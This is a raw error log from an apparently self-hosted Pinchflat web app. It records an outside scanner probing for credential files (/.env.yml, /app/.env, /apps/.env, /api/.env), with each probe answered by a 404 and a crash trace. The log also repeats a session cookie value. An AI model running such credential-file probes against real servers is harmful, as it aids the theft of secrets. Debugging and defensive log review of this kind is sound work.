"pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 37, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3341.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6M0Ba967-KMAAQkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 37, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 37, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchf (truncated) 02:10:09.702 [info] GET /app/.env 02:10:09.703 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=307.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.703 [debug] QUERY OK source="settings" db=0.3ms idle=185.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.704 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.704 [error] #PID<0.3342.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 38) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 38, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3342.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6NJT3YMYFp4AAQlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 38, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 38, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:09.795 [info] GET /apps/.env 02:10:09.796 [debug] QUERY OK source="settings" db=0.2ms idle=277.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.796 [debug] QUERY OK source="settings" db=0.1ms idle=182.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.796 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.796 [error] #PID<0.3343.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 39) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /apps/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 39, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3343.0>, params: %{}, path_info: ["apps", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/apps/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6NfmNsp0y3kAAQmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 39, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 39, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:09.901 [info] GET /api/.env 02:10:09.902 [debug] QUERY OK source="settings" db=0.4ms idle=288.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.903 [debug] QUERY OK source="settings" db=0.2ms idle=199.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.903 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.903 [error] #PID<0.3344.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 40) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 40, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3344.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6N42YzJVcFUAAQnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: 